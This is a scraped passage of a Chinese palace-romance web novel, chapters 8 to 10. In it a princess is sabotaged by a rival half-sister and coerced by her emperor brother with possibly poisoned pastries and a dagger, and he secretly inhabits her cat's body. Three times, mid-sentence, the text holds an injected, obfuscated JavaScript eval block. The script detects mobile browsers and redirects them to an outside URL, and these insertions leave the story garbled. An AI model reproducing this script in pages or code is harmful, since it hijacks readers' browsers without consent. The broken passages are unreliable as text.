安玥抱着咪儿,作势要坐上去。 另一头,曲闻昭半乜着眼,余光一瞥,安玥手里的烛灯正照在秋千绳的一道断痕上。 等等。 曲闻昭睁眼,就要出声提醒,却只发出一声喵叫。 他默然了阵,在安玥怀中挣了起来。 安玥感觉到怀中的咪儿似是不愿意待在她怀里,她照例拍了下咪儿的臀,“别动,可冷了,待会儿把你冻坏了。” 可咪儿似是觉得新奇,伸出一只爪子往秋千绳上扒拉。安玥揉了揉他的脑袋,坐上了秋千。 曲闻昭待要支稳身子,却不想下一瞬,麻绳骤然断裂。他被带着往下一坠,却无预料中的疼痛袭来。 “公主!” 曲闻昭朝身侧看去,见安玥摔在地上。她裙摆沾了雨水,原本白皙的掌心被粗粝的地板划破皮肉,渗出血迹。 适才绳子断裂的一瞬间,有一只手将自己牢牢护在怀里。 若桃一张脸雪白,赶忙去扶,“公主您怎么样了?” 安玥疼得眉心蹙在一起,“没事。就是掌心划了一道。” 若桃着急得不行,替公主吹了吹伤口,“奴婢刚才伸手,您怎得不拉住奴婢?” “我还抱着咪儿呢。”她并未在意自己的伤口,只是盯着断裂的秋千。 曲闻昭抬头看她。 蠢货。他冷嗤了声。 她就算不护着,他难道不会跳开么?这世上竟有人会将一只畜生的身体看得比自己还重要。 他几乎要怀疑,安玥是否猜出他的身份。 曲闻昭思绪未散,看清安玥神情的一瞬间,他动作僵了瞬。 他在她眼底瞧见一股落寞,交织着着旁的情绪。鬼使神差的,他读懂了这种情绪。 像是灯明璀璨处,一朝灯灭人散,所幸还留有一盏孤灯。有人守着这盏灯残留的光亮,汲取着灯上最后一点温度,度过一个又一个长夜,期盼着太阳出来。 直到有一天,这盏灯突然灭了。 太阳也没出来。 彻底死寂。黑暗昏昏沉沉,让人记不清时间流逝。 他不经意想再看,却见安玥眼睫轻垂,蹲下了身。 若桃捧着烛火靠近,光亮照在断痕上。 安玥出声,“是被人割断的。” 曲闻昭将身上的泥点拂去。还不算那么蠢。 若桃微惊:“何人做如此过分之事?!” 与湿冷漆黑的婉明宫不同,镜烛宫的大殿内此刻点满了灯,光亮一片。 亦站满了人。 宫婢们垂着头,站做一排。 安玥坐在上面,若桃和清栀站在她身侧。 “谁做的?不要让我一个一个去查。” “公主,奴婢们冤枉啊。奴婢们只是奉命洒扫,断不敢做这种事。” 此言一出,周围亦有附和声,“公主,那秋千都十多年了,今夜下了大雨,自然断裂也是有的。您若要将这锅扣到咱们头上,咱们万万是不敢受的。” 曲闻昭趴在安玥膝头,寻声看去,见出声的宫女站在排头,瞧着三十来岁,三角眼。 这宫里的老人,往往仗着有些资历,便忘了规矩。 安玥手心上过药,缠了一层纱布,却不狼狈。她扫了她一眼,“照你的意思,是本宫故意发难,陷害你们?” 她不情不愿,“不敢。” 安玥不说话,清栀就拍了拍手。殿外疾步进来一名侍卫,他手里拿着只匣子,匣子打开,里面装满了金叶子,还有几只耳珰。 安玥看着那枚耳珰上的珍珠,觉得有些眼熟。却想不起来是谁的。 先前还中气十足的那名婢女,在看清那只匣子的瞬间,面色骤然变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592342|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得苍白起来。 安玥看了那侍从一眼,那侍卫会意,走向排首,将那名宫女架了出来。 “这耳珰上玉石的样式,乃宫中特有。谁给你的?” 她跪在地上,垂着头,眼珠子转了下,“奴婢……奴婢不知您在说什么。” “你不知?这东西是从你那儿搜出来的。”她见惯人狡辩,语气几乎没有什么起伏,“是你自己交代,还是本宫用刑把你的嘴撬开?” 不到万不得已,她并不想用第二种。但不代表她不会用。 她低着头还欲挣扎,手臂一痛,已有侍卫上前将她往外拖。她面色惊恐,“奴婢说!奴婢说!” 安玥抬了抬手。 那宫女连滚带爬到安玥脚边,旁人见此动静,半是惊半是怕,本以为是公主心情不好,拿人消遣。没想到还真有。 “是岁康公主……她给了奴婢钱财,让奴婢割断秋千绳。奴婢也是一时鬼迷心窍,想着划一道而已,应当无事,没想到伤了公主。奴婢太害怕了……” 岁康。安玥想起,这位皇姐性子跋扈,似乎同自己一直不对付。只是原先碍于父皇在,她又有曲奕护着,她不敢明着与自己为难。 这么多年过去,她几乎要忘了这些事。 却不曾想,今日她竟然会主动挑事。 “太下作了!”若桃气极,“莫说那秋千是娘娘亲手做的,便是摔伤了公主千金之躯这一条,你们十条命也不够抵的!” 那婢女此刻也怕了,头上那位,再怎么势弱,到底还是公主啊,她以头抢地,只能不断重复:“奴婢该死!奴婢该死!” 安玥看她:“为何如此?” “……是五公主同奴婢说,姜贵妃曾下毒手害死祺嫔娘娘,当今陛下视您为眼中钉,即使不亲手除掉您,送您去和亲也是迟早的事。等到那时,奴婢们失了主子……” 她咬了咬下唇,没敢说下去。但安玥也明白了,毕竟这宫里,巴结错了人,也就等于得罪了人。 安玥眼睫颤了下,看向众人,“你们都是这么想的?” 曲闻昭听着这语气,约摸着她回头又得要偷偷掉眼泪。却听头上传来一声轻笑。他终于抬起头,见安玥看着众人,语气惊讶,“原来你们是怕本宫走了,无人侍奉。实在是本宫错怪了诸位。诸位如此忠心耿耿,我又怎能抛下你们?” “你们放心,若是真有那么一日,本宫自然会向皇兄求一道恩典,让你们陪着本宫远嫁。” 若桃在旁听得嗤笑了声。 一群人听罢面色惨白,说“是”也不是,“不是”也不是。被噎得面色青白交错,活像一排无骨灯。 安玥盯着地上那宫婢。 若桃会意,大声:“来人,将其罚入辛者库。” 那宫婢浑身僵住,眼底泪痕未干,却不敢哭闹出声,只一个劲磕头,“谢公主。” 清栀在一旁道:“只要你们在镜烛宫一天,就一天是镜烛宫的人。一荣俱荣,一损俱损。主子还未死,某些人就想着找下家,这种不忠之仆,公主不敢要,旁人就敢要了?” 宫婢跪在地上,连声应“是。” 安玥抬了抬手,让人下去。 曲闻昭被安玥抱回了宫,他身上沾了泥水,还未来得及清洗,看着自己灰白的爪子,有些嫌弃。 却不料安玥似是也注意到这一点,揉了揉他肚子,“我裙子都被你弄脏了。” 曲闻昭顾不得她在说什么,只觉得小腹一阵酥麻,原本支起的四肢瞬间瘫软下来。他被安玥抱着往浴池走去。 8. 第 8 章 身子接触到温水的瞬间,他往下一沉,险些呛到水,所幸一只手及时将他捞了上来。 安玥褪了衣裳,只留了一件淡粉的肚兜,就这般抱着他入了池。 他面色微变,不经意闭上眼,待反应过来就要挣扎。 氤氲的水汽掺了花瓣的香气,缠入四肢百骸,他浑身湿透,竟觉得有些提不起劲。一只手不轻不重揉捏过他身体,先是前爪,手臂,再到脑袋,脊椎,小腹…… 曲闻昭瘫软在她怀里,心底觉得耻辱。池中时不时传来水波晃动的声音,直到一声猫叫杂糅其间。 似是呻.吟。 安玥对自己的逗猫技艺颇为满意般,轻轻笑了声。 曲闻昭浑身僵住,感觉浑身那股燥意在一瞬间燃到了顶峰,穿透四肢百骸。 他试着挣扎,却被安玥抱紧了些。他身体贴着她胸前的软肉,低头甚至能看见她水面下白皙的双腿。 二人离得太近,以至于连她腿根缀有一颗小痣都看得一清二楚。 他僵硬地扭过头,身上那只手再度朝他肚子移去。曲闻昭不经意想出声劝阻,一开口又是一声喵叫,声音透着他自己都未想到的媚意。 他甚至来不及羞耻,那只柔软的指腹蹭过肚子,将它翻了个面儿,不轻不重抓挠起来。 安玥挠到一半,脖颈有些发凉,察觉有什么东西盯着自己。她一低头,见是咪儿。 咪儿这几日夜里鲜少有拿正眼瞧过她。她起了兴致,又捏了捏咪儿的脖子。等沐浴完,已过去小半个时辰。 翌日是个晴天,午间出了太阳,将寒意逼退了些。安玥用过午膳,便在御花园荡秋千。 若桃站在安玥身后,一下一下推着秋千绳。 耳畔传来呜呜风声。 靠近宫殿那几处留有地炕余温,开着三色堇。白皮松立在风下,阳光穿透叶间间隙,在地面投下光斑。 倏忽间,几声嬉闹声打破了御花园的沉寂,安玥一抬头,见不远处缓缓走近一群女子。瞧着个个气质不俗。 为首之人穿着件浅绿色的百蝶裙,身上披了狐裘。不紧不慢走着。离得近了,安玥方认出,是岁康。 安玥品出几分冤家路窄的意味。 岁康似是看见自己,那张娇艳的面上,笑容明显僵了瞬。她面上上了妆,眼尾上挑,下颌有些尖。 待走近了,岁康微微一笑,“十七皇妹。” 她身后的一众贵女看了一眼岁康,又看了看安玥,不紧不慢行礼,“参见公主。” 安玥坐在秋千上,不咸不淡地回了一句,“皇姐。” 岁康见到她这幅样子,面上仅剩的一点笑容也没了。 父皇死了,她又得罪了皇兄。 据说前几日为了讨好皇兄,给皇兄送去糕点,结果最后还是淋着雨从宁兴宫跑出来的。 她自身难保了,还清高什么呢?不就是生了副柔媚样,会示弱讨好人么?一个没了母妃的人,不就是凭着这样的手段,让大皇兄和父皇对她百般宠爱。 怎么这一招,也有不灵的一天了呢? 凭什么母妃对父皇一腔痴情,父皇也从未看过母妃一眼?凭什么每当她费劲千辛万苦见父皇一面,父皇也只是疏离地应付了一声? 而安玥,什么都没有,当年连身世都备受争议的一个人,却独占了世上最尊贵的两个男人的宠爱。 岁康笑了声:“皇妹,这秋千是皇姐先瞧见的,皇妹坐了这么久,可否让皇姐也玩会?” “妹妹一个人,上哪玩不是玩呢?” 若是在以往,一个秋千,让就让了。可经昨夜一事,安玥并不想理会她。 她语气冷淡,“总得讲一个先来后到,我休息够了,再让给皇姐吧。” 此话一出,岁康身后的一名贵女道:“安玥公主,这秋千是岁康公主一早就占了的,只是先前玩得累了,离开了阵。若要讲先来后到,也得是岁康公主在先。” “这秋千上可是写皇姐名字了?有何凭证?” 一帮人笑道:“咱们就是凭证呀。公主莫要不讲道理了。” 安玥见这帮人摆明了要生事,也省得废话,把玩着腰间的香囊球,不再理会。 岁康面色彻底僵住。 还是一道声音打破僵局,“公主,您这镯子好生漂亮,料子细腻极了。” 岁康听到声音,回过神,笑了声,抬起手将那桌子亮得明显了些,“这是母妃前几日送我的羊脂白玉镯,母妃说这镯子衬我。最好的东西总要给我的。” 先前出声的贵女未品出她话里深意,羡慕道:“娘娘对公主真好。” 安玥微微抬头,见岁康神色挑衅,“是啊,母妃对本宫自然是好的。去年冬日我发了高热,母妃知道我喜欢吃芙蓉糕,亲自下厨做给我。知道我喝药怕苦,让人在药里加了甘草,又备了蜜饯给我。” 另外几人听出她话里意思,聪明地垂着脑袋不说话。 她分明是故意的! 若桃气得不行,撕了这人的心都有。偏生公主未发话,她只能站在一旁,一双眼睛暗戳戳瞪着岁康,似要把她的手腕生生戳出一个窟窿。 安玥抓着秋千绳的手不自觉握紧,指甲在掌心留下了一个月牙印,可她好似浑然未觉。迎着岁康讥讽的目光,安玥笑了笑,“去岁北疆进贡了一批玉石,父皇命人打成首饰,送了好些套给我。这镯子我还有很多,成色或许会好些,皇姐若是喜欢,我可以让人上库房挑好了赠给皇姐。” 岁康咬死了下唇,眼神要淬出毒来。那批玉石数量本就不多,成色更是世间少见,晶莹剔透,触手生温,半点裂痕瑕疵也无。她当时挣扎许久才想向父皇要一些,却不想一扭头,父皇一股脑将那些玉石全塞给了安玥。 一行人听了面色更是尴尬。其中不乏有人看不惯安玥这般,反呛道:“并不是人人都如安玥公主这般会笼络人,也不如公主这般好命,公主何必如此?” 安玥看向出声之人,认出此人是尚书府二小姐,赵沁。 安玥目光在岁康腕上的镯子上落了瞬,移步要离开。 岁康只当她是怕了,不愿就这么放过,“皇妹只有这么些礼数么?” “我的礼数,不会浪费在无关紧要的人身上。”她起身就要离开。 “站着!”岁康挡在安玥身前,一堆人这般站在四周,遮住了光线。 “皇妹说话好生难听,咱们这些人都是无关紧要的人?” 安玥被缠得烦了,眉心蹙了下,“烦请皇姐让开,皇妹还有事。” 凭什么?都这样了,她还在高傲什么?! 岁康掺着恚恨的目光在安玥身上落了片刻,终于,她往边上靠了两步,恢复笑意,“皇妹,咱们来日方长。” 安玥似是未听到她话里的挑衅,就要抬脚,未料注意到脚下,她被一只横伸出来的腿绊了一下,整个人未站稳,向前扑去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592343|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 跌在地上的瞬间,四周传来银铃般的讥笑声,层层叠叠。还有不少看戏般的目光投来,将她的狼狈尽收眼底。 可安玥已顾不上这些,膝盖席来剧痛。 若桃吓得面色发白,连忙去扶。 岁康居高临下看她,“妹妹怎得这般不小心?” 若桃气得发抖,“先前分明是五公主身边的婢女绊得咱们公主!” 思檀站在岁康身后,听了这声,低下头,“奴婢不是有意的,公主恕罪。” 可声音却不见半分惶恐。 赵沁风凉道:“这婢女一瞧就不是故意的,公主大人有大量,莫要与人为难,饶过她吧。” 安玥面色发白,她觉得膝盖刺痛,大抵是见了血。不愿与这些人废话,扶着若桃的手移步离开。 安玥前脚刚走,一堆人围到岁康身后,“公主莫要生气。先帝在时,她便仗着父兄宠爱,高傲得不可一世。可如今谁人不知,那位可是厌恶极了她。就算咱们不动手,来日也有得她哭的。” 岁康冷笑了声。 是啊。她如今失了势,又有谁能护得住她? 安玥回去,清栀大致了解过前因后果,就要去叫太医。却不想整个太医院在职几十号人,一时竟腾不出人手,只让公主稍待。 事到如今,安玥还能说什么?好在清栀处理伤口比较熟练。 裤腿折上去的瞬间,露出血肉模糊的伤口。地面本就不平,她那一下摔得不轻,不光是膝盖,手肘也蹭破了皮。鲜血直流。 若桃气极:“这五公主当真小人,借机传出的风言风语,说陛下厌弃公主,弄得人人怠慢!好一群墙头草!” 安玥眼睛轻轻垂了下,未说话。 清栀原本蹲在安玥身前替她上药,闻言眉头皱了下,捏了把若桃的小腿,让她少说两句。 若桃半是痛,最主要的是痒。面容扭曲了瞬,愣是没叫出声。 她气鼓鼓:“公主可是打算就这么算了?” “你也听到了,他们说的是事实。眼下这个局面,咱们能如何呢?我那六皇姐,也就嘴皮子厉害了。且先忍忍吧。” 太医院的事,说起来也是皇兄默认的。无人敢治而已。何必戳破了?届时面子里子全没了。 清栀想起什么,出去了趟,再回来时,手里提着只鸟笼,里面装着只鹦哥,羽毛翠丽,一双眼睛灵动地看着四周,瞧着漂亮极了。 “公主,这是长公主送给您的。可聪明了。” 她敲了敲鸟笼,鹦哥突然口吐人言,“公主吉祥!公主吉祥!” 长公主曲宁仪,乃先帝胞妹,曾嫁给骠骑将军为妻,婚后二人相敬如宾,说不上相爱,以至于至今无所出。去岁骠骑将军战败,被敌军射杀,长公主也没了再嫁的心思。 吉利话谁都爱听,安玥目光亮了亮,心底那股不高兴压下去了些,“可有取名?” “还没呢,等着公主赐名。” 安玥逗弄了片刻,道:“就叫咄咄吧。” 晚间曲闻昭换了猫身,他趴在桌下,尾巴时不时晃一下。百无聊赖间,他嗅到一股血腥味。他一抬头,便见安玥坐在桌边,腮帮子鼓鼓冯,对着胳膊一个劲地吹。 这又是做什么? 他掀了掀眼皮子,这才注意到她胳膊肘上的红痕。原本白皙的手臂上横了道伤口,瞧着尤为突兀明显。 上哪又弄得一身伤回来?蠢。 9. 第 9 章 安玥将袖子放回去,扭头见咪儿坐在地上,替自己理着毛发。有一处似是打了结,他扯了半天,扯了一嘴毛下来。 安玥看了直笑,被咪儿瞪了眼。她一把把他捞起放在膝头,替他顺毛,咪儿趴着不动了。 “咪儿,你会想你的娘亲吗?” 怀中,咪儿有一搭没一搭晃着的尾巴突然顿了下,安玥接着道:“我其实挺难过的,母妃不在了,唯一留的秋千也被弄坏了。” “她们伸脚绊我,百般讥讽。皇兄也刁难我,真讨厌。” 安玥咬牙切齿:“若我有朝一日飞上枝头,定要把皇兄吊起来抽打一番以泄心头之恨……” 她话落,忽得觉得脖颈有些发凉。她察觉自己说了什么,缩了缩脖子,心虚地敲了眼四周,抿了抿唇。 她默了阵,还是气不过,愤愤抬腿踢了脚空气。 不料“砰”得声,脚踝撞到了一旁的杌凳。她疼得直倒吸凉气,眼眶红了一圈。 曲闻昭在一旁将她一番动作尽收眼底,先前目光里那股冷色散去,心底笑了声。 蠢。 他趴回去,又听头顶的人语气低落下来,“今日岁康给我看她的镯子,说是她母妃送她的,又说她母妃对她多么好。可若是我的母妃还在的话,母妃也会对我很好的。” 她将架上挂着的一枚荷包取下来,她指腹轻轻抚过绸面上的绣纹,上面的图案有些旧了,其实分不大出是鸭子还是鸳鸯,“这是母妃绣的。” 她想给咪儿看,未来得及动作,咪儿往怀里钻去。她莫名在咪儿身上品出些嫌弃的味道。安玥笑了笑,柔声:“可我觉得母妃绣的荷包是最漂亮的。” “唔,我突然想起来,我给你找了个伴。” 安玥不顾咪儿挣扎,将他抱起朝偏殿走去。 推开殿门的瞬间,里面传来声音,“公主吉祥!” 曲闻昭浑身一僵,看清是笼子里的东西在叫。他一面贴在安玥胸前,抬臂捂住了耳朵。 安玥抱着曲闻昭站在笼子前,“咄咄,这是咪儿,你们打打招呼。” 哪只咄咄打量了眼安玥怀里的猫,突然大骂:“傻瓜!傻瓜!” 安玥听清这两个字,登时石化在原地。 曲闻昭目光微寒,蠢鸟。他伸出一只爪子,朝挂着的那只鸟笼拍去。 里面的咄咄便见一只大爪迎面扑来,它受到惊吓,连忙扑腾着翅膀,巨大的动静带着鸟笼在空中摇晃起来。 最后是安玥连忙抱着咪儿离开,把一猫一鸟阻隔。第一次见面,以不愉快收场。 安玥抱着咪儿,轻声哄道:“你别介意,它刚过来,可能还有些不习惯。过两日就好了。” 曲闻昭闭着眼,他还没闲到和一只鸟计较。 安玥从桌上拿了块糕点塞到咪儿口中,“给你吃糖糕,别生气啦。” 曲闻昭一时不察,咬下一口,恐怖的记忆涌上心头,他未尝清味道,直接吐到了地上。 糕点吐出,他浑身一僵,心底生出一股后悔,果然旋即臀上微痛,一只手在上面不轻不重拍了下,“不许浪费。” 新仇旧恨叠在一起,曲闻昭浑身被一股戾气笼罩着。 待明日天亮,待明日天亮……! 安玥自是不知他在想什么,更完衣便抱着他钻进被窝里。 天气愈发寒凉,她把他往胸口带了带,“你要是冷了就叫一声。” 曲闻昭不说话。安玥便用脖子蹭了蹭她的脑袋。 感受到身侧的人气息逐渐平稳。案上留有一盏六面花鸟灯。在昏暗里散出一圈微弱的光晕。 曲闻昭睁眼看着身侧的人。她似是做了噩梦,睡得不太安稳,偶尔会发出呜咽。 曲闻昭被闹得烦了,伸手拍了下安玥的肩膀。 快睡。 安玥第二日醒来。她梳洗过后,坐在妆镜前,将桌上的耳坠依次放在耳边比对,最后挑了对蜜黄猫眼石的。 天气愈冷,窸窸窣窣飘下雪来。墙角红梅初绽,她不经意吩咐人摘几支下来,准备夹在书册里,上边压了石块做花蜡。 奈何下人们不知到何处躲懒了,她一连吩咐了几声都无人应。 她甫一出门,便听角落一道气愤的声音,“欺人太甚,这几日惜薪司送来的,尽是些劣炭,点不着也就罢了,还烟大呛人。公主哪里能用得了这样的东西?” 她有意压低声音,但许是情绪太过激烈,安玥还是听见了。 “清栀姐姐,这可如何是好?” “先拿宫里的炭撑一段时间,若是不行,便拼凑些银两,差人到外边买。” 安玥目光垂了垂。 清栀一抬头,注意到公主不知何时出来了,连忙走近了行礼,她似是怕公主听到,小心观察公主神色。 安玥朝她微微一笑:“梅花开了,我想折几只做花蜡。” “奴婢明白。” 眼见着时辰不早了,安玥未来得及用早膳,往宁兴宫赶去。 她每日过去请晨安,大多数时候连皇兄的面都见不到,只是走个过场。不过她巴不得如此。 今日,她照常在宫门外站了会,便有皇兄身边的内侍小跑着过来。 “公主,陛下请您过去呢。” 安玥几乎脱口而出:“臣妹遵旨,恭请陛下圣安。” 她转身要离开,那内侍怔了下,“公主?”他微笑着加大音量重复了一遍,“陛下请您进去呢。” 一缕风雪扬起鬓边碎发,安玥脚步僵住。 含彰殿。 殿门推开,扑面而来的是一股暖意。落在狐裘上的雪点化成晶莹的水珠。 一点点坠在绒毛上。 曲闻昭抬起眼,便见安玥垂着眼睫,整个人离自己八丈远,悄悄抬眼觑着自己。 她似是被自己的目光惊到,目光闪躲了下。饶是如此,依旧婉声行礼,“见过皇兄。” 曲闻昭拿着笔,故意不说话,便见安玥浑身紧绷站在光影里,亦是一动不动。 安玥站了半晌,按捺不住,眼睛轻轻往皇兄那看了一眼,正和那双视线对上。 她未来得及躲开,那头的人轻笑了声:“站那么远做什么?我不吃人。” 安玥勉强扯出抹笑意,往那边挪了两步。她一路上将自己这几日做的事都回忆了一遍,愣是想不通皇兄为何召见自己。 曲闻昭将笔放下,定定看着她。安玥面色开始泛白,又试探性的朝前蹭了蹭,“皇兄可有吩咐?” 曲闻昭笑得温和:“妹妹前几日给皇兄送来糕点,皇兄总得回些什么。” 安玥直觉皇兄是来秋后算账,面色又白了几分,嘴上仍道:“不必……了,糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16592344|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点做得不合皇兄口味,皇兄本也没用几口。臣妹该给皇兄赔礼道歉才是。” 曲闻昭却没有就此掀过的意思,他轻轻敲了敲身前的桌面,“坐。” 安玥前脚坐下,殿门外便有端着食盒的宫娥鱼贯而入,将一盘盘糕点依次摆在她面前。她本就未用早膳,一路过来,更是腹中空空,糕点的香气钻入鼻尖,混着果香。 她垂下头,好饿。 “吃吧。” 安玥眸光亮了亮,“给我的?” 曲闻昭眼睛一丝不错盯着她,“自然。” 安玥伸手,犹豫了下,最后就近捻了块八珍糕。就要送入口中,她动作僵住。 皇兄不会这么好心,还是说,糕点下毒了? 一想到极有这个可能,安玥几乎是将糕点丢了回去,糕点随着她动作碎散了些许,她如坠冰窟,尚未想出应对,头顶的人似是笑了声,“不合胃口?” “不是…”她声如蚊讷:“臣……臣妹不饿。” 曲闻昭将那枚被安玥扔回盘子里的糕点捻在手里,半晌,贴心地递到安玥唇边,“怎么会不饿?还是说,妹妹其实不喜欢皇兄准备的东西?” “不……不是。”她一张口,那枚糕点便被曲闻昭顺势塞了进去。清甜的味道在口中蔓延开,可安玥却半点滋味未尝出。她大脑“嗡”得一声,就要把糕点吐出来,一抬头撞到曲闻昭含笑的眼。 分明是温和的表情,莫名让人不寒而栗。 她面色一白,不经意咽了下口水,连带着那口糕点被咽了下去,不防被噎了个严实。她整个人剧烈咳嗽起来,最后还是胡禄接到眼神示意,倒了杯茶递来。 安玥缓过气,察觉自己将糕点咽下去,目光呆滞地看了眼盘子,“皇兄……可是下毒了?” 她察觉自己问了个极蠢的问题。 果不其然,她话音刚落,便见皇兄看着自己,她在那平静的眼神里品出几分戏谑的味道。那眼神似是看见什么新奇的东西,需细细打量,要将人削皮刮骨,拆碎了瞧。 她有点想哭。张了张口,最后一个字也说不出来。 “妹妹猜猜?” 安玥察觉自己抖得没那么厉害了。大抵是已经做好了最坏的打算,她勉强笑了笑,“臣妹现在还没毒发身亡,那大概是没毒的。” “不好说。或许这里面只有一盘有毒,妹妹可以一盘一盘试过去。这里有九种糕点,不过妹妹只需吃八种。” 安玥心头被一股劫后余生的庆幸笼罩着,可一口气未松到底。她听懂曲闻昭的意思,看着剩下八盘糕点,咬紧下唇,看向曲闻昭,“若臣妹一个都不吃呢?” 曲闻昭不紧不慢为自己倒了杯茶,“那妹妹今日怕是踏不出这个大殿。” 吃了是死,不吃也是死。何必受人戏弄?恐惧到了极致,亦会让人生出几分脾性,她“腾”得从椅上站起,眼尾泛红带怒:“皇兄不如直接把我杀了!也让天下人看看,一国皇帝是如何出尔反尔,残害手足。” 她一口气将话说完,原本只有三人的大殿瞬间陷入死寂。 窗外的雪压弯枝头,滑坠在地中,碎散开来,发出窸窣的声响。 曲闻昭坐在那,仰头看她,目光平静。 安玥则强忍住颤意,死死盯着曲闻昭,眼神俱是警惕。 她有些后悔了。 10. 第 10 章 “手足?”曲闻昭咀嚼着这两个字,似是听到什么好笑的事,嗤笑了声,“我没有这种东西。” “几年前的冬日宴,妹妹同其他几个兄弟手足坐在父皇身侧,眼前是舞袖歌台,玉盘珍羞。妹妹可知我在哪?” 安玥目光怔了下,说不出话。确实,他们虽是兄妹,却没有什么情分。 若要说有,也只是遥遥见过几面。 旋即“铮”得声,她觉得脚边被什么东西撞了下,安玥低下头,面上血色褪净。 地上躺着的,赫然是一只匕首。 “正好,妹妹既然不喜欢,那便如妹妹所愿,我们换个玩法。” 安玥听到这一声,往后退两步,如避洪水猛兽般同那只匕首拉开距离,“臣妹与皇兄没有旧怨……皇兄为何非要如此?” 她垂在袖中的手难以抑制得颤抖着,可饶是如此,她似乎也没失了理智。 “有没有旧怨,不是妹妹说得算的。我数三声,妹妹自己做决定。” “三。” 安玥将目光移到地上那只开了刃的匕首上。寒芒刺得她眼睛一痛。 “二。” 她不合时宜得想:不知母妃在那边过得好不好?算了,她这辈子没做过什么恶事。此番下去,大抵是能和母妃团聚了。 也好。 “一。” 安玥蹲下身,将地上那枚匕首拾起。匕首去了刀鞘,她将锋刃贴在脖子上,冰凉得触感渗入骨髓。 迎着曲闻昭戏谑的目光,她咬了咬牙,似想昭示什么,将匕首逼近几分,寒刃刺破皮肉的瞬间,她感觉到刺痛,一股黏腻顺着皮肤渗出。 她面上血色褪尽。匕首坠地,她整个人脱力般跌坐在地。 太疼了。 曲闻昭目光从始至终都落在她身上,难得好耐心的没催促。 安玥察觉想要同这种人置气是多么愚蠢的决定。似乎在压倒性的权势面前,只要她还惜命,脸面是可以随时丢掉的东西。 她心一横,索性直接跪在地上,“父皇崩逝前曾下过遗诏,要皇兄照顾臣妹。若是臣妹今日不明不白身死,皇兄亦会成为众矢之的。” 曲闻昭睨着他,指尖轻叩桌案。 倒是个麻烦。可他怕么? 父皇啊父皇,你又是在防着谁呢? “不急,先把糕点吃完。” 安玥眼眶一红,跪行两步,轻轻拉住曲闻昭袍角,“皇兄,血脉相连,血浓于水。安玥与皇兄是世上最亲的人,这世上所有人都有可能背叛皇兄,但是安玥不会!” 曲闻昭将衣裳扯会,没把人踹开。 安玥咬牙,仰头看他,“安玥会听皇兄的话,若是有一日皇兄需要派公主和亲,安玥必然义不容辞!” 她言辞恳切。曲闻昭伸手,轻轻捏了下安玥泛红的面颊,“我不缺妹妹。” 这是实话。这宫里除了外嫁和早逝的,至少还有八位公主。 难道今日当真要命丧于此了吗? 安玥自知求情已是无望,不再折磨自己的膝盖,坐回位上。 曲闻昭察觉到手心一空,不悦地皱了下眉。 安玥收了面上情绪,挑了块颜色最浅白糖糕。她将白糖糕递至唇边,小心觑着曲闻昭神色。 可皇兄似是戳穿自己心思,不紧不慢看了自己一眼,眼底除了笑,什么也没有。 安玥闭上眼,将那枚糕点咬下一口,直至将那枚糕点完全咽下。 她语气透着试探:“我还要继续吃吗?” 曲闻昭有些惊讶于她情绪转变之快,没说话。 安玥又从盘子里拿了枚糕点。她每拿一次,就看一眼曲闻昭的神色,可每次皇兄的眼神都无半点变化。 直到她将手伸向第八块糕点。 从刚才到现在,她除了觉得胃有些疼,几乎无半点不适,全然不像中毒的样子。她不信自己运气有这么好。她感觉自己愈发平和,没有处时那般害怕了。 事到如今,她倒宁愿皇兄在戏弄自己。 “若臣妹吃了第八块,仍没有毒发身亡,是不是说明臣妹命不该绝?” “那皇兄要答应臣妹一个条件。” 曲闻昭不禁想笑,她凭什么认为自己有资格同他讲条件? 可他又有些好奇,她想提什么条件。 “说。” “若是我命不该绝……皇兄要答应,不能再用旁的法子取我性命。” 是这么个条件? 曲闻昭看出她眼神里的试探,欣然道:“好啊。” 换身之事未解决,他本也不会杀她。 安玥原本还怀疑皇兄是否在戏弄自己,偏生皇兄答应得这么干脆,那是否代表,手上这枚糕点是有毒的? 她将手中糕点放下,换了另外一枚。做完这一切,她朝曲闻昭伸出另一只手的小指。 曲闻昭不经意觉得她在挑衅,睨着她,“这是做什么?” 安玥抿唇看他一眼,神色认真:“拉钩。” “……” 这种法子做出来的承诺,既无人见证,也不能取人性命,又有何用? 他感觉小指被什么蹭过,他低头,便见一根手指轻轻勾了上来。他觉得有些痒,像是心底某处隐蔽被拨了下,不自觉跳得快了几分。 与此同时,安玥伸出拇指在他指腹按了下。她飞快收回手,将那枚糕点送入口中。 曲闻昭摩挲了下指腹,那一处还留有温度,说不出是什么感觉。 安玥把最后一口糕点咽下去。曲闻昭伸手,指腹拭去她唇角的碎屑,眼底笑意更甚:“好吃吗?” 